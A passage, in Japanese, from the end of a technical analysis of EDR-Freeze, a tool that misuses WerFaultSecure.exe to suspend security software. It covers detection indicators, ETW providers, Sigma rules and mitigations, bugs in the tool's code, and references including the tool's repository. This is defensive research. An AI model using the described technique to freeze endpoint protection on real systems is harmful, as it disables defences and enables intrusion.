異常な親プロセス WerFaultSecure.exeの親が svchost.exe/WerSvc 以外 CreatePPLProcess() での CreateProcessW
コマンドライン監視 WerFaultSecure.exeの引数に /h + 任意PIDの組み合わせ FreezeRun()コマンドライン組み立て部分
CREATE_PROTECTED_PROCESS 非標準バイナリからの PPLプロセス作成フラグ CreateProcessWdwCreationFlags
SeDebugPrivilege有効化 システムプロセスによるSeDebugPrivilegeのトークン操作 EnableDebugPrivilege()
NtSuspendProcess呼び出し PPLプロセスへの NtSuspendProcess SuspendProcessByPID()
EDRプロセスの全スレッド一斉サスペンド ThreadState=5, WaitReason=5 の全スレッド一致パターン WerFaultSecureの内部動作結果

12.2 ETWイベントによる検知

ETW(Event Tracing for Windows)の以下のプロバイダで関連イベントを捕捉可能:

プロバイダ 検知対象
Microsoft-Windows-Kernel-Process プロセス作成イベント(CREATE_PROTECTED_PROCESS フラグ付き)
Microsoft-Windows-Security-Auditing 特権使用(SeDebugPrivilege)、プロセスアクセスイベント
Microsoft-Windows-Kernel-Audit-API-Calls OpenProcess によるアクセス権取得

リファレンス — ETWによるセキュリティ監視:

12.3 Sigma検知ルール

EDR-Freezeに対するSigmaルールが既にSigmaHQリポジトリで公開されている:

リファレンス — 検知ルール:

12.4 緩和策

対策 効果
PPL保護されたプロセスからのNtSuspendProcess呼び出し制限 OS側のセキュリティ強化として、PPLプロセスに対する PROCESS_SUSPEND_RESUME の発行をさらに制限する
WerFaultSecure.exeの起動コンテキスト検証 正規のWERフロー以外からの起動を拒否するポリシー実装
EDRの自己保護(Watchdogスレッド) EDRプロセスが別プロセス/サービスからの死活監視を受け、サスペンド検知時に自動復旧する
WDAC(Windows Defender Application Control) 信頼されたバイナリ以外の実行を制限し、EDR-Freeze自体の実行を阻止する

13. コードの潜在的な問題点

13.1 リソースリーク

FreezeRun() 内で PauseCheckParamsnew で確保し、関数末尾で delete しているが、PauseCheck スレッドがまだ実行中の場合(Sleep(sleepTime) よりも PauseCheck の処理が遅い場合)、use-after-freeが発生する可能性がある。また、hThread に対して WaitForSingleObject を呼ばずに CloseHandle しているため、スレッドの完了を保証していない。

13.2 ダンプファイル削除の不一致

// EDR-Freeze.cpp 103〜111行目
if (DeleteFileW(L"t.txt"))

ファイル名として L"t.txt" をハードコードしているが、ダンプファイルは L"dump_" + std::to_wstring(targetPID) + L".txt" として作成されている(36行目)。削除対象のファイル名が一致しておらず、実際のダンプファイルがディスクに残留する。

13.3 IsProcessSuspendedByPIDの戻り値の不整合

// ProcessMisc.cpp 158〜159行目
VirtualFree(buffer, 0, MEM_RELEASE);
return mainThreadId;  // ← DWORD mainThreadId = 0 のまま

ターゲットPIDがプロセスリストに存在しなかった場合、初期値 0mainThreadId(DWORD)を BOOL として返している。0FALSE と等価なので動作上は問題ないが、変数名と意図が不一致であり、GetMainThreadId() からコピーした際の修正漏れと推測される。


14. 参考リファレンス一覧

本解析で参照した全リファレンスを、トピック別に整理する。

14.1 EDR-Freeze本体

リファレンス URL
GitHubリポジトリ https://github.com/TwoSevenOneT/EDR-Freeze
作者ブログ(技術解説) https://www.zerosalarium.com/2025/09/EDR-Freeze-Puts-EDRs-Antivirus-Into-Coma.html
CreateProcessAsPPL(先行ツール) https://github.com/TwoSevenOneT/CreateProcessAsPPL

14.2 WerFaultSecure.exeとWER

リファレンス URL
The Windows Process Journey — WerFaultSecure.exe https://medium.com/@boutnaru/the-windows-process-journey-werfaultsecure-exe-windows-fault-reporting-8895b048fc29
Google Project Zero — PPLコード注入 Part 1 https://projectzero.google/2018/10/injecting-code-into-windows-protected.html
Google Project Zero — PPLコード注入 Part 2 https://projectzero.google/2018/11/injecting-code-into-windows-protected.html

14.3 PPL保護モデル

リファレンス URL
Protecting anti-malware services(公式) https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-
PROCESS_PROTECTION_LEVEL_INFORMATION(公式) https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_protection_level_information
Process Security and Access Rights(公式) https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights

14.4 プロセス・スレッドAPI

リファレンス URL
CreateProcessW(公式) https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
UpdateProcThreadAttribute(公式) https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute
Enabling and Disabling Privileges(公式) https://learn.microsoft.com/en-us/windows/win32/secauthz/enabling-and-disabling-privileges-in-c--

14.5 NtQuerySystemInformation・スレッド状態

リファレンス URL
NtQuerySystemInformation(公式) https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
SYSTEM_PROCESS_INFORMATION(Geoff Chappell) https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/process.htm
SYSTEM_THREAD_INFORMATION(MS-TSTS公式) https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsts/e82d73e4-cedb-4077-9099-d58f3459722f
Win32_Thread class(ThreadState/WaitReason値定義) https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-thread
ThreadWaitReason Enum(.NET公式) https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.threadwaitreason?view=net-9.0

14.6 NtSuspendProcess

リファレンス URL
NtDoc — NtSuspendProcess https://ntdoc.m417z.com/ntsuspendprocess
Opcode — NtSuspendProcess カーネル内部解析 https://ntopcode.wordpress.com/tag/ntsuspendprocess/

14.7 ETWと検知

リファレンス URL
Instrumenting Your Code with ETW(公式) https://learn.microsoft.com/en-us/windows-hardware/test/weg/instrumenting-your-code-with-etw
Kernel ETW is the best ETW(Elastic) https://www.elastic.co/security-labs/kernel-etw-best-etw
Sigmaルール: WerFaultSecure Process Freeze https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_werfaultsecure_process_freeze/
Sigmaルール: PPL Tampering Via WerFaultSecure https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_werfaultsecure_abuse/
Sigmaルール: Hacktool EDR-Freeze Execution https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_hktl_edr_freeze/
MITRE ATT&CK T1562.001 https://attack.mitre.org/techniques/T1562/001/

14.8 外部分析記事

リファレンス URL
Picus Security — EDR-Freeze分析 https://www.picussecurity.com/resource/blog/edr-freeze-the-user-mode-attack-that-puts-security-into-a-coma
BleepingComputer — EDR-Freeze報道 https://www.bleepingcomputer.com/news/security/new-edr-freeze-tool-uses-windows-wer-to-suspend-security-software/